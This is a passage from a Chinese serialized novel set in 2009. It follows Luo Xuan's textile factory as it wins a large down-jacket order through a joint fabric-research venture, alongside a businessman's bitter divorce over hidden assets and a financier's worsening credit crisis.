关系王指了指自己的脑袋:“靠脑子。你以为资源对缝和牵线,是谁都能干的活?能用一个盘子,把A、B、C全装起来,每个人都得到好处,每个人都满意,最后我得到了这个地摊。资源对缝,这是一门挣钱的手艺。大家有了好处,你还愁没朋友?有了朋友,你还愁没关系?” 罗璇顿时五体投地:“你卖卤蛋,我卖炮弹;你当摊贩,我当厂长,本质上都一样。我们都有光明的未来。” 关系王得意洋洋:“我跟你说,这世道再变一万遍,关系王还是关系王。” “关系王,你就是天生干公关的人才。”罗璇惊叹。 “少给我灌迷魂汤,罗桑厂现在没钱给我发工资,我才不去。” 第213章 资本怎么用钱?&赵明德离婚大战&校企研发 “那你给我想想办法。” “10块。” “这么便宜?” “因为我在公关你啊罗厂长,我为了和你搞关系,贱卖我的劳动力。”关系王接过罗璇的10块钱,“罗桑厂拿了2000万贷款,听起来多,其实不过一个月工资。但这笔钱如果拿来做饵——意义可就不一样了。” “饵?” “你现在是厂长了,地位不同啦!你要想赚钱,就得先学会花钱。” 罗璇糊涂。 “你现在和做小生意又不一样。花钱,你要花得轰轰烈烈,花得大张旗鼓,花得荡气回肠,花得一块钱出去、万众瞩目回来,才能有价值——价值投资!你晓得伐?” “我不晓得。” “罗桑厂这样的资金体量,在你这样的位置,钱不是钱,你也不能把钱当钱用。不然你眼界就小家子气了!钱是资本,是数字,是用来撬动更大资本的杠杆。”关系王高深莫测。 一番花钱的道理,把罗璇绕懵了。 “钱不是钱?那你别收我钱。” “滚,10块还跟我砍价。我是让你花钱!10块,一分不退。” 罗璇气急败坏地推了关系王一把:“说人话!这钱,我怎么花!” 刚巧张东尧走过,关系王指了指他:“喏,之河大学的资源就在这。之河大学的面料工程专业全国第一,同样是2000万,你砸给高校实验室是什么声势什么级别,你拿去平平无奇地备料又是什么级别?” 罗璇看向张东尧。 关系王循循善诱:“先造势,再做事,自古钱权名不分家。级别上去了,这盘子不就诱人了吗?盘子诱人了,你还怕没资金注入、你还怕拉不到人吗?” 罗璇反应过来:“这不就是空手套白狼吗?”江明映他们天天用这招。 “大实话真难听。”关系王摆手,“这叫盘子,这叫愿景。” “这叫画大饼。” “创业就是画大饼,就是讲故事嘛。”关系王说,“先造势,再做事。讲故事又是为了什么?为了织关系,把大家伙网起来!大家都被利益捆在一起了,不帮你也得帮你,你还怕这事办不成?归根结底,你说,世界的本质,看上去是钱的事,但内核是钱的事吗?” 关系王有关系王的理念。 罗璇若有所思,和关系王絮絮商量起来。 关系王自己掏出一颗卤蛋塞进嘴里:“所以,你说,人为什么活着?就因为人活在社会关系里!逃也逃不开!人呐!活着被关系抻着,活得累;想死也被关系抻着,也不能随随便便死!” …… “你们说,人活着究竟是为了啥啊?”赵明德顶着一张被前妻挠得满是血痕的脸,“我辛辛苦苦一辈子,大小算个老板,要钱有钱,结果我自己老婆跟别人合起伙来对付我!” 桥牌局笑成一团。 赵明德摸着自己满脸血痕,长吁短叹。 自从Cythnia把离婚消息递给他老婆以后,他相当于被动和老婆摊了牌。 08年金融危机后,房地产经过短暂的低谷,眼看着有回春之势。 赵明德的尚雅集团和珊瑚集团正在竞标一块上海的地,仇人火并,彼此的老底都掀得差不多。 珊瑚集团想趁着老赵总后院起火的功夫,趁他离婚,冻结他一部分现金流;赵太也清楚,必须趁着赵明德和珊瑚集团死死攀咬的机会,尽可能多地要钱,否则一旦赵明德抽出手来,自己万不是他的对手;赵明德却不想在这拿地的紧要关头被人用现金卡脖子。 一时间,三方僵持住了。 赵明德为人风流,和赵太长年分居两地。王永昌做中间人,不断帮着两边递话,最后赵明德松了口。将名下一片物业割给对方,作为离婚补偿。 但赵太嫌钱少,觉得赵明德在打发叫花子。消息添油加醋地传到Cythnia的哥哥那里,他趁机出手,把赵明德的身家或真或假注了水,告诉赵太。这下子,赵太意识到,赵明德对她隐瞒了大量资产。 赵太顿时恨透了他,直接约了他摊牌,二话不说,先给他挠了满脸花,又扬言法庭见,让赵明德老实点,不然就去公开举报他偷税漏税,让全国人民都知道这件事,把他送进去蹲梦中情人刘晓庆蹲过的牢房! 赵明德底裤被扒,狼狈万分。 郎峰这样形容:“黄泥掉进裤裆里,不是屎,也是屎。” 在尚雅集团和珊瑚集团掰手腕的关键时刻,赵太倒戈,赵明德急得不得了,要赶紧把手上的真金白银“洗一洗”,也就是用投资公司的方式,过个明路,如果能把公司账面做成亏损,那就更好了! 可到处经济都不好,他也不敢贸贸然轻举妄动。 投,有可能亏钱;不投,绝对要割给赵太一大笔钱。 本以为罗璇这里有税收优惠政策,但国际贸易战打响,罗桑厂被关在壁垒和关税之外…… 老赵总愁得前列腺造反。 因此,别墅区里,他边搓脸上的血痂,边郁郁不乐。 …… 门一响,罗璇到了。 身后还跟着张东尧。 赵明德抬头,吃了一惊,抓着罗璇扯到一边:“罗厂长,我们是私人聚会,我火烧屁股,无心应酬。你把这位祖宗请过来干嘛?” 打桥牌,说干净也干净,说不干净也不干净,张东尧毕竟在赵书记身边做事,赵明德顿时拿不准该用什么态度。 张东尧坦坦荡荡地笑:“老赵总,这次我不代表罗桑县了,我来代表之河大学,过来跟大家做生意。” …… 做生意? 赵明德打哈哈:“哎呦,哎呦,你们文化人,做什么生意。” Evelyn看了眼王永昌,走到赵明德身边,扶着他的肩膀笑:“老赵总,解决您离婚的法子呀,可就在张博士身上呢。” 赵明德眼睛亮了。 沉吟半秒,他却撇嘴挥手:“去,去,莫要拿我取笑。” “这可不是开玩笑。”罗璇坐在他身边,丢了几张新牌:“老赵总,您的钱有去处了。” 赵明德猛地抬起头。 片刻后,他却明知故问、轻描淡写:“哦?你还惦记着羽绒服订单?” 罗璇早知道老赵总如今后院起火,急得不得了,如今眼看着老狐狸在自己面前装风淡云轻,心里有些好笑,面上不显: “如果罗桑厂能抢到第二批羽绒服订单,在资金流传的链条上,我们可以名正言顺地设公司,您的资金就可以进出操作,避免被离婚分割。” 赵明德眼中精光大盛。 他看了眼张东尧,又看了眼王永昌,迟疑了好几秒,才做作地停下手中的牌,缓缓询问: “你有办法绕开绿色贸易壁垒和面料关税了?你怎么绕开的?” 刚问过,他就死死盯着罗璇,眼睛一眨不眨。 罗璇笑着指了指张东尧。 张东尧给赵明德解释:“罗桑厂联合昌隆集团与之河大学,建设了创新面料产学研基地。” 罗璇把牌丢出去。 赵明德念叨了一句“产学研”,看了看牌桌上的王永昌,对方微微颔首。 他又看了看罗璇。 “创新面料产学研基地。”他又揣摩了几秒钟,反应过来:“大学和企业——你们搞校企联合研发?” 第214章 盘活&从传统制造业转向科技创新 赵明德抚掌而笑:“我明白了,你们开发新面料!因为是新面料,所以必然不会落在外国的反倾销名单上!好,好,好一个资源盘活的主意!” 王永昌抱着手说:“张博士想到的路径。张博士是个聪明人。” 张东尧只是笑,不露痕迹地吹捧现场几人:“聪明人,也得有发挥的平台。” 王永昌又说:“多亏罗厂长牵线牵得好。” 赵明德看着王永昌:“研发速度这么快,看来是直接在你的汉麻上做文章了?” 王永昌本就专攻汉麻,利用汉麻使用广泛的特性,从纺织面料逐渐跨界到科技领域,完成产业升级。 这次罗璇亲自牵线帮他谈成校企合作,不但能帮他增添高端产品线,之河大学还可以开课题、申请国家基金,更是给王永昌的产品锦上添花。 对于王永昌来说,可以说是一次品牌与实力的飞跃。 王永昌点点头:“我们请张东尧博士出面牵线,联合之河大学的面料开发实验室,共同研发了一种新的汉麻面料。这种面料用在羽绒服上,防水防污、轻薄耐用。” 赵明德思索。 罗璇开口:“老赵总,我们计划针对这项成果设立科技投资公司。您要不要加入投资?” 一提钱,赵明德先装傻:“什么投资?” 罗璇一听,这死老狐狸话里话外的意思,居然是要她欠他人情,立刻说:“我这是帮您赚钱。” 赵明德听下去。 罗璇分析:“第一,投资新科技公司,有税收优惠。罗桑厂有外资注入,同样有税收优惠。您投资进来,无论赚还是不赚,税务上就能节省一大笔钱。第二,您的资金注入进来,真金白银过了明路,公司收益还完全可以做成亏损,赵太和您离婚,还怎么分您的财产?第三,您的尚雅集团可以多元化产业布局。一石三鸟的好事。” 话说到这个份上,赵明德也不好意思再装老狐狸,他想了想,直接爽快地应了: “好,好,罗厂长讲义气,我记你的人情。” 于是罗璇又说:“既然是自己的公司,那么肥水不流外人田。老赵总,这批面料就放在您的供应链上批量投产吧。您的工厂已经通过了环保认证。” 罗桑厂就不用花钱啦! 赵明德张开嘴:“合着半天,绕开绿色贸易壁垒,罗厂长是拿着我绕呢!” 他想了好一会,又哈哈笑起来,“罗厂长,你真会绕。这么绕来绕去,罗桑厂能避开反倾销法案,降低关税,绕开绿色贸易壁垒,还能省下生产成本;王永昌你的新面料能迅速投产盈利;我能真金白银省下一大笔钱;之河大学也能获得资助基地。” 恰好Evelyn走过来,把一个精美的盘子放在众人面前,里面装着水果。 罗璇注视着眼前精美的盘子。 众人纷纷从里面拿水果吃。那盘子很大,从罗璇的角度看过去,每个人都在盘中。 或者说,这个盘子里的人,越来越多了。 …… “小张啊,这菠萝好吃,你尝尝。”赵明德很亲热地拍他肩膀。 张东尧道谢:“谢谢老赵总。” “别这么客气。”赵明德的态度和他刚来的时候相比,转了180度,“都是朋友!” …… 罗璇边吃哈密瓜边想,张东尧和大家认识这么久了,始终疏离。 可如今他也进了这盘子,盘子里的人,都处于牢牢的利益捆绑状态,于是大家对他的态度立刻就不同了。 有了利益,才是真朋友。 郎峰出声:“这批新面料给我留些,我设计一系列胶囊女装,帮兄弟几个造造势。” 王永昌一口答应:“郎峰只做品牌店,搞宣发一把好手。” 郎峰点头:“今年第一季度,我把服装秀的宣发成本从纸媒挪了三分之一到互联网上,试试效果。” “互联网?”赵明德问。 郎峰伸了个懒腰:“对,互联网。现在这个形式,服装没什么钱赚,我反而对科技投资更感兴趣。” 赵明德又问:“你们真把我说糊涂了!互联网,真能赚到钱?郎峰,你居然秀场的宣发成本转到网上去;罗厂长,我看你找了个叫祝峻的人,在搞什么‘互联网+服装’,又说什么线上购物、天涯论坛之类的,你们确定靠互联网能回本?” “那帮干互联网的肯定说互联网好,我本人并不确定。”罗璇老老实实地说,“但产业总要升级,有枣没枣,打一杆子试试呗。” 赵明德说:“那我投资科技公司,不仅仅为了面料研发,还算是踩着时代潮流了?” 郎峰说:“老赵总,从传统制造业,转向科技创新,这是时代所向、大势所趋,要我说,你投科技公司啊,哪怕不为转移资产,也值得一试。多元化布局嘛!” 众人皆笑起来。 王永昌直接伸出手,把牌面完全抹平:“这一把谁都不算输,一起赚。” …… “赚钱啦!终于赚钱啦!我们熬出头啦!” 冬天还没过去,春天也还没有来。温度更低了,风也更冷,猎猎吹响罗桑厂大门口贴着的红纸黑字。 有人一字一句高声念道:“项目突击奖金激励政策!” “自愿参加,三班倒,按时完成羽绒服订单,所有参与者增发奖金!第一季度就分红!” 罗桑厂大门口围满了工人,激动不已地议论着激励政策上的内容,人头挤挤挨挨,有人红着脸,有人热得解开羽绒服,有人满头大汗,头上冒着白气。 “这批羽绒服订单有点太大了,要得又急……” “羽绒服,能不急吗!再不急,冬天就过去啦!” “我老乡们都没活干,只好返乡了,而我们罗桑厂却有好多订单!” 老工人自豪得满眼泪花:“这批羽绒服订单,体量远超以往。这么大的订单,能养活整个罗桑县!罗厂长,就是厉害啊!” 罗桑厂正门前的招工小广场热火朝天,仿佛此前的萧条从未存在过。 不远处的报刊亭,小电视正嘶哑着声音播报: “——国际贸易战打响,中国纺织服装行业频繁遭遇各国贸易保护打击。” “——美国、欧盟、印尼、秘鲁、南非、阿根廷、乌克兰等国家,通过反倾销调查、技术性贸易壁垒、进口限制与许可证制度、政府采购限制等方式,打击中国纺织企业。” “——春节前后,江浙地区已有超50家印染企业受贸易战影响,国际订单断崖式流失,同比锐减七成,停产周期较往年延长1-2个月。” 第215章 爆单啦!发财啦!&焦虑未来就是贷款吃屎 罗璇本以为第二批羽绒服订单和第一批差不多体量,毕竟拿的只是共青城的外溢订单而已。 谁料,因为贸易战,中国各地纷纷流单,大批外国订单积压在某几家外贸公司,听说赵明德这里有货源,纷纷找上门来。 赵明德急着离婚转移财产,而罗璇顺势研发创新面料,更是把之河大学、赵明德等人全部拢作一处,这些人的资源也纷纷向罗桑厂倾斜。 有共同利益的捆绑,罗桑厂悄然从单打独斗变成众人拾柴火焰高。 罗桑厂一步登天,开局一个破碗,瞬间变成满汉全席。 这批订单数量之大,要倾尽整个罗桑县的生产力,才能勉勉强强地吃下。一旦完成,被罗桑厂倒塌摧毁的元气,就基本可以恢复。 罗璇猛地忙成了螺旋。 …… “局势瞬息万变,人生福祸相倚。” “贸易战打起来,各个国家都在打击中国,导致各地服装产业都在流失订单,结果咱们罗桑县靠着新面料研发,把其他地区流失的羽绒服订单,统统接下来了!”老戴面露得色。 “就在这么艰难的时候,长三角某个县——我不指名道姓地批评——居然向每个服装纺织企业加收10%的机头税!结果那地方产业崩溃,直接引发了企业连环破产潮,这下子好了,那整个地区的羽绒服单子,也被我们抢过来了。” “不给人民减负,反而增加税收,这不是把政府跟踪管理,简单粗暴地等同于收钱办事吗?!” 两人坐在食堂里吃饭。老戴激动地夹菜: “这时候,就看出罗桑县的好了。我们吃下来的这批羽绒服订单,体量远超以往。这么大的订单,能养活一整个罗桑县。咱们这场风暴啊,总算是过去了!” 赵书记听着,“嗯”了声,喝了杯水。 老戴问:“老领导,我看你不太高兴?” “怎么会不高兴。”赵书记说,“我是在想,这么大的订单,罗璇拿下来,只是第一步;能啃得下来,这是第二步,也是重中之重;第三步,能否顺利回款?能否通过验收?桩桩件件,都是坎坷……” 两人搭班子数十年,讲话没什么顾虑。 老戴据案大嚼:“你这辈子都愁在前头。人为未来的事提前发愁,等于贷款吃屎。” 赵书记端着水杯,咳嗽起来。 “你这混不吝!武夫!”赵书记唾他,“福祸相依,月满则亏,兴尽悲来,乐极生悲!你懂不懂!” “我懂。”老戴丢了一颗花生米倒嘴里:“现在这个时候,大家最缺的就是信心。所以,这一次举罗桑县之力,必须把这批订单完美地做完。不仅仅为了钱,更有灾后重建的重要意义。” 赵书记点头:“等下回去,我还得让张东尧帮我想想。” 老戴说:“张东尧今晚不在,去看他姐姐了。他姐姐在之河住院,已经脑死亡。但张东尧还没放弃,不让他姐姐出ICU。” 赵书记恻然:“他还往里烧钱?他还有多少钱?” 老戴轻叹:“人都有执念。钱只是个数字,生不带来,死不带去。” “钱啊!”赵书记长长叹气,“罗桑县赚了钱,能带给大家都带来信心;张东尧给他姐姐花钱,能带给他希望;可郑厂长和王经理为了钱,差点葬送整个罗桑县。你说,这钱,究竟是好东西,还是坏东西?” 老戴嘿嘿一笑:“赵书记,我是个莽夫。我只知道,咱们县这次的羽绒服订单,不惜一切代价,必须拿下来,而且必须拿得有尊严、有气派。咱们县的士气,可就在这笔钱上了。” 赵书记点头称是:“在这样时刻,对于这样性质的企业,地方政府必须跟踪企业管理,尤其是这种关系全县生计的大单,我们必须给予罗璇必要的支持。” 两人安静了一会,埋头吃饭。 老戴突然说:“其实我觉得,罗璇这个厂长,做得还真不赖。” 赵书记从鼻子里发出“哼——”的一声:“也就那样吧。”他挥手。 老戴说:“赵书记,你未免太严格。” “自家孩子,也就,还行吧。”赵书记老神在在,“这孩子是咱们县自己培养出来的。还有进步的空间!” 两人吃毕,笑眯眯地喝水,抬头看食堂里的电视。 “——金融危机持续爆发。在上个月,2009年1月20日,奥巴马宣誓就任美国第44任总统,成为美国历史上首位非洲裔总统。” “——就职宣誓后,奥巴马采取一系列措施来应对金融危机,比如经济刺激计划、救助金融机构、加强金融监管,并提出住房市场稳定措施。美国大量家庭面临房产断贷风险,奥巴马接下来会如何缓解‘房奴’的还款压力?” “——世界各国挣扎在金融风暴中。就在奥巴马宣誓就职的同一天,也就是2009年1月20日,冰岛也因金融危机引发大规模抗议活动。” 老戴面露难色:“这场金融风暴,眼看着愈演愈烈啊。” 赵书记面沉如水。 …… 江明映面沉如水地结束了跨国电话会议。 2009年1月20日,金融危机在冰岛引发了大规模的抗议活动,民众对政府处理经济危机的方式表达不满,更是将矛头对准了银行。 宗先生通过华尔街在冰岛运作的产业遭遇强烈的信任危机。 江明映顿时焦头烂额。 资本运作,通常以“空手套白狼”的模式,分币不掏,先画大饼,从银行借贷,再从民众手中赚取资金以后,再与银行分账。 宗先生的生意也是如此。 谁料,冰岛民众突然针对银行闹起来,银行翻脸不认人,立刻抽贷,要求宗先生马上还钱。 江明映不得不协助宗先生,移出大笔现金流,投入冰岛维稳。 国际形势错综复杂,贸易战愈演愈烈,石油、钢铁、原矿全都震荡不已。就在宗先生资金链绷紧的时刻,冰岛如星火燎原,信任危机的火蔓延到整个欧洲,多个银行纷纷向江明映了解宗先生的资产状况,并隐隐有愈演愈烈之势。 一旦银行失去信心,蜂拥而上要求宗先生还钱,宗先生就完蛋了。一旦宗先生完蛋,他的职业生涯基本也就到头了。 宗先生的资金链绷到极致,看眼就要断裂。 江明映带领整个团队,全力灭火,抛售股票,期货,黄金,原油,地皮,公司……不惜一切代价回笼资金,掩护宗先生主力资产出逃。 他在赌,这场信任危机会在宗先生看似充沛的现金流下,无声地化解。 江明映身心俱疲。 第216章 亏钱风险!罗桑厂要被抽贷啦! 站在华尔街办公室里,站在巨大的世界地图前,江明映游移不定地看着世界地图上点点蓝旗。 蓝旗代表产业,黄旗代表资金。 蓝旗一个一个被拔掉,被丢在一旁。 最后,他的目光落在中国区罗桑县的蓝旗上面。 在国际金融风暴波澜起伏的当口,中国经济反而如同暴雨中的一块绿洲。针对罗桑县的投资瞬间变成宗先生主力资产的大后方,不求有功,但求无过,必须维稳。 江明映仔仔细细地看着这面蓝旗。 他思索许久,抓起几面代表资金的黄色旗子,重重插在罗桑县的蓝旗周围。 “Adrian.”Nate捏着纸杯装的黑咖啡走进来,“你刚刚说服宗先生,把赌注压在罗桑县上了?” 江明映转头看向Nate,若无其事地将手里的一把蓝旗黄旗丢在一旁。 Nate似笑非笑地伸手过去,把罗桑县上的黄旗揪掉:“你打定主意要吸罗桑厂的血,来养你再造一个罗桑县的计划。可现在这个形式,已经等不及你慢慢造新的产业集群了。宗先生现在就要看到利润。” 江明映没说话。 “一方吸血养另一方的模式,至少前几年是看不见利润的。但你现在没时间啦,不能再像之前计划的那样摧毁罗桑厂啦。你现在为了整体利润,不得不扶持罗桑厂。但罗桑厂实力强大了,你以后还怎么摧毁它?”Nate倚靠在办公桌桌沿,”Adrian,连我都替你犯愁。再造一个罗桑县,你的计划书做得那么漂亮,可要是做不到,你该怎么办?你亲自出马,大张旗鼓地进军中国,最后只是投资了一个平平无奇的工厂?好低的投资回报率,好一场笑话!” 他仰头将黑咖啡喝了个精光,又对江明映说:“但也没办法。因为如今这个形式,不亏钱已经算厉害,你说是吧?” 江明映一眼不发。 他攥着一把代表资金流向的黄色旗子,盯着世界地图上数量愈发稀少的蓝旗。 良久,他摸出“聪明药”的药瓶,抬手吞了两片。 Nate很自然地拿过药瓶,也随手吞了两片。 为了长年维持强悍的精力应对高强度、高压力的环境,江明映等人不得不依靠“聪明药”来完成工作。这种处方药在美国开起来很容易:只要告诉医生自己难以集中精力即可。 “回来美国开的?” “当然。中国不允许滥用药物。” “这算滥用药物?我们长年吃这个,我们又算什么?”Nate觉得好笑。 “难道我们算人?”江明映反问,“你觉得宗先生把我们当人?” “当然不是,我们只是这些旗子。”Nate坦然地指着被丢在一边的旗子,“随时能被丢掉。” 江明映感觉药片黏在喉咙里。他仰头用黑咖啡灌下去。 Nate又说:“嘿,嘿,Adrian,你怎么突然多愁善感起来?如果你burn out,不如把位置给我。” 江明映唇角噙着一丝冷笑。 Nate笑嘻嘻地说:“刚刚宗先生在电话会议里质问你,而你无话可说。” 江明映说:“贸易战叠加政策变动,这是没办法的事。” Nate却说:“但你试图再造一个罗桑县,很难成功,不是吗?至今为止,你没有帮宗先生赚到一分钱。Adrian,承认吧,你完了。” 江明映反唇相讥:“我从来都不知道,你居然有权限了解宗先生的利润。谁给你的?” Nate急忙撇清自己:“我当然不会窥探客户的隐私。”顿了顿,他似笑非笑,“Adrian,你并不比我聪明太多。我也拿哈佛的文凭,我会分析,会看,也会计算。” 江明映不理他。 Nate又说:“Adrian,你的资历比我久。只要你在一天,占着这个位置,就轮不到我上。但你始终没做出利润。既然如此,你为什么不主动退出呢?你把位子让给我,我可以在宗先生面前,为你美言几句。”他又笑了笑,“就算你不主动退出,我也会想办法把你掀下去的。” Nate转身离开。 门刚关上,银行的电话又进来,质疑江明映提交的产业利润。 江明映好说歹说,才让银行相信,宗先生的现金流依旧充沛,负债表非常健康,有得是钱。 挂断电话,有一个银行电话进来,邀请江明映面谈。 江明映答应了,紧接着又是好几个电话。 他用力捏扁了纸杯。 …… 江明映人还在美国,先大张旗鼓地送了一辆豪车给罗璇。 卡车载着这辆豪车,从上海出发,先在上海市内转了好几圈,又在万众瞩目下招摇地开向国道,最后在罗桑县晃了好大一圈,停在罗璇租住的那套普通民居门口。 罗璇拿到庞大的羽绒服订单,要调动整个罗桑县的力量才能勉强吃下,近来一直忙着上下左右地协调。 她跟着网民在互联网上起哄,关注这辆豪车的去向,关注叫“璇子”的幸运女士究竟是谁,吵吵闹闹好几天,才后知后觉地发现,这辆车是送给自己的。 她居然成了互联网新闻的女主角。 在这个罗桑厂灾后重建、工资难发的当口,她,罗桑厂的新厂长,居然收到一辆豪车。 罗璇气得一个电话杀到美国去,开口就是质问:“都没商量一声,就大阵仗地塞了辆车给我?你有没有尊重我?罗桑厂也有给我配车,我不需要。” “你必须要。”江明映的语气毋庸置疑,“你代表罗桑厂出去谈生意,见客户,难道就坐郑厂长坐过的那辆二手车?” 罗璇痛骂江明映:“你把我架在火上烤?现在工人日子都不好过,我都不知道下个月工资去哪里挖,现在这个时候你当众塞了一辆豪车给我?你让别人怎么想我?” 江明映冷冷地说:“我是你的丈夫,我给自己妻子送车,别人能怎么想?” 罗璇冷笑:“你这是遇到金融危机了,要拿我做筏子,秀经济实力吧!” “没错。”江明映承认,“罗璇,我遇到了麻烦。这辆车,我必须大张旗鼓地送给你,你必须大张旗鼓地收下。我要粉饰太平,装作无事发生,我必须得装逼。你我夫妻一体,你必须帮我装逼。” “所以你就给我惹麻烦?” “权衡之下,你的麻烦小一些。” 罗璇警惕道:“我管罗桑厂,你管新红星厂,你不会没钱给新红星厂注资,结果把新红星厂也丢给我吧?我告诉你,我挖不出两个厂的工资,如果你没钱,我就只好把新红星厂打包丢出去。” 江明映简单地说:“谁说我不管罗桑厂?” 罗璇“啊”了声,思索片刻,似笑非笑:“你突然又送豪车又号称要管罗桑厂,连夫妻一体这种话都说了出来,你那边的麻烦究竟有多大?你要我帮你背多大的锅?总不可能,你做了这么多事,只是因为突然爱上了我吧?” 江明映“呵”了声:“我觉得,我们的关系,还是谈钱比较简单。” 罗璇冷笑。 江明映问:“你的羽绒服订单,现在是什么进度了?多久能见到利润?” 罗璇简单地说了下。 江明映又说:“如果有什么需要我帮忙,你尽管提。只要能尽快保证第二批羽绒服订单的利润。” 罗璇直接说:“我要你承诺注资的1个亿。” 江明映也很坦诚:“我这边的麻烦大了。我面临银行抽贷,资金链快断了。我现在急需你做出漂亮利润,来安抚银行。” 罗璇看着眼前流光溢彩的豪车,一下子意识到问题的严重性。 她吸了口冷空气,又缓缓吐出来,后背哗啦啦渗出一层冷汗。 红粉骷髅,在这辆车上也成立。 她听见自己的声音还算冷静:“你那边的麻烦如果传回国内,也会影响我刚刚从银行贷款的2000万,对不对?银行也会让我马上还钱?” 江明映坦诚地说:“有可能。所以,你这单生意,只能成功,不能失败。” 阳光照耀在豪车的车身,光芒折射到罗璇脸上。流光溢彩,衬得四周的墙壁灰扑扑的,冷风一吹,分外瑟缩。 罗璇露在外面的手指冻得发红。 她想说什么,但知道说什么都无济于事。 罗璇挂断电话。 第217章 新疆长绒棉&坏人对羽绒服下手! 别墅区里,赵明德正在和赵太商讨离婚财产分割。 “不可能!”赵明德对着电话咆哮起来,“我告诉你,不可能!”他伸手挂断电话会议,站起身,气得在屋里团团转。 王永昌捏着手机叹了口气,劝他:“老赵总,离婚,都是谈出来的。” “你听听她说什么!”赵明德咆哮,“如果我不答应她的条件,她就要我血本无归!我倒要看看,她有哪个本事能让我血本无归!” Evelyn示意荷官用碟子端了条温热的湿毛巾给赵明德。 荷官笑着问:“老赵总,赵太她要什么?” 赵明德坐在椅子上:“她真敢要,居然开口要我新疆长绒棉产业园。” 荷官天真地说:“新疆的棉花园,很贵吗?” 王永昌说:“长绒棉和普通棉花不同。新疆的长绒棉产业园,是老赵总的尚雅集团的立根之本,估值十几个亿,当然不能给。” 赵明德长叹一声:“不仅仅是钱的事。就算我真的给了她,她懂生产吗?她懂经营吗?她什么都不懂,拿了我的产业园,迟早做成亏损,最后被别人低价收购。别人收购了长绒棉产业园,有了优质原材料,转头就要在商场上对付我。” …… Evelyn把赵明德的话转述给Cythnia听。 挂了电话,罗珏说:“成了?” Cythnia微微点头:“成了。” …… 早几天,罗珏给Cythnia出了主意,于是Cythnia回了趟家做乖女儿,陪着老爸享受天伦之乐。闲聊的时候,她“无意中”透露新疆产业成本低、利润厚、销路好、前景远大,这些话从餐桌上传到大哥的保姆耳中,又原封不动地传到大哥处。 受金融危机影响,珊瑚集团营收乏力,Cythnia大哥一连做了好几个亏损项目,难以服众,于是对这则消息上了心。 另一边,罗珏的助理在瑜伽班上,“巧合”地认识了赵太的秘书。两个女人渐渐成了朋友,无话不谈。小助理也绘声绘色地给秘书讲豪门恩怨,一来二去,赵太的秘书上了心,又仔细打探一番,发现这小助理的老板居然认识赵明德,还知道赵明德在新疆有大产业,立刻原话告诉赵太。 赵太恨不得捏死赵明德,立刻去找Cythnia的大哥,两人一拍即合,派人飞去新疆,实地考察。 不看不知道,一看吓一跳。 新疆长绒棉确实是个好东西。 于是Cythnia的大哥给赵太出主意,让她找老赵总大闹特闹:“……赵明德在新疆的产业特别赚钱,最赚钱的就是长绒棉产业园,估值十几个亿。你就找赵明德要这个产业园。” “估值十几个亿?他不可能给我。” Cythnia大哥在心里骂赵太蠢货,但还是耐心地说:“要想在屋子里开扇窗,你得先把屋顶掀了。你漫天要价,他坐地还钱。你要长绒棉产业园,他一定不会给你,但你再和他谈条件,最后就能要个别的新疆产业。” 赵太犹豫:“产业给了我,我也不会运营。” Cythnia的大哥循循善诱:“你看那些投资人,投多少个项目,难道个个项目都是专家?赵太,你是管理者,你只需要会用人。请个高管帮你打理公司,这家公司就是一只下金蛋的母鸡,源源不断地给你生钱。” 赵太还是犹豫:“我不如拿了赵明德的产业,转手卖掉。” Cythnia大哥立刻说:“赵太,你拿了钱,赵明德万一给你做个局,你的钱哪能留在自己手里?我是怕你攥着现金,很快就被他吃干抹净,把钱捞回去,你就相当于净身出户。” 赵太觉得有道理:“我回去和家人律师商量一下。” 她恨得咬牙:“赵明德无情无义,说他的钱拿去投资一家科技公司,大亏特亏。所以他现在只有产业,没有现金!” Cythnia的大哥笑了:“亏?赵太,你可低估了赵明德,他哪是真亏损,他是故意做成亏损给你看,就为了不给你现金!只给你产业,紧接着把产业从你手里半骗半买走,最后再骗光你卖产业的钱,他什么都不损失,你净身出户!” 赵太满脸泪痕,瞬间脸色苍白。 她嚎啕大哭:“夫妻几十年,赵明德在外面噶姘头,我都没在管的,他现在竟然这么防着我!” Cythnia大哥再次被赵太蠢得难受。为什么赵明德非得离婚,非得防着你,不就因为你居然跑过来坐在我对面吗? 但Cythnia大哥很有耐心地说:“事情既然已经发生了,就得想办法让他多给你掏些钱出来。” 赵太咬牙切齿:“我非捏死他不可。” Cythnia大哥说:“好。我帮你打击他。如果他不给你钱,就让他那科技公司假亏变真亏。” 赵太抹干眼泪冷笑:“好。” …… 赵太离开以后,Cythnia大哥喊了副总进来。 “只要这次能从尚雅集团撕下一块肉,珊瑚集团就能低价切入新疆产业。”Cythnia大哥说。 副总问:“我们要先帮赵太拿下赵明德的新疆产业,然后想办法把那产业搅得乱七八糟,再压价收购。” Cythnia大哥轻蔑地说:“当然。直接买,没有利润空间。请一个高管把她的公司搅黄了,我再去低价收购,那多便宜。低买高卖,才是做生意的道理。” 螳螂捕蝉,黄雀在后嘛。 顿了顿,他说:“无论如何都要利用离婚事件来打压赵明德。上海那块地,谁拿了谁就是老大,珊瑚集团这次对上尚雅集团,一定是你死我活。” 围魏救赵嘛。 Cythnia的大哥自得地想。 “你有什么打击赵明德的办法。”他问。 副总想了想:“赵明德的科技公司正在投资汉麻面料研发,这款新面料是赵明德自己的供应链在做,最后要应用在羽绒服上。据我所知,供应量极大。” Cythnia大哥“嗯”了声。 副总说:“这款羽绒服是走外销的,由欧洲在中国的外贸公司下订单。我认识这些外贸公司的买办。趁着现在形式不好,让买办把羽绒服的采购价砍下来,让赵明德亏钱。” “从羽绒服着手?” “就从羽绒服着手。” 第218章 瞒着罗璇,悄悄出货&离婚,让他付出代价! 回到办公室,副总想了很久,喊了助理过来:“挑几个机灵的人,去罗桑县一趟,找那些小作坊老板,低价收他们的羽绒服。” …… 天气依旧寒冷,几个小工厂主围在一起喝酒,割了两斤猪头肉。 酒过三巡,酣畅淋漓。 其中一个压低声音:“有买手找你们低价拿羽绒服吗。” 房间里安静了一会。酒意腾腾。 “有。”另一个小声说,“绕过罗桑厂找的我。罗桑厂收我做的羽绒服,一件10美金,那人收的价格是9块2美金。” “……他也找我了。”另外几人纷纷说。 “你们怎么想。” “我凭什么亏钱啊?”有人说,“价格压得太低了!我生产一件羽绒服9块2美金,买手收一件羽绒服也是9块2美金,这么算下来,我给他不但不赚钱,我还亏钱。” 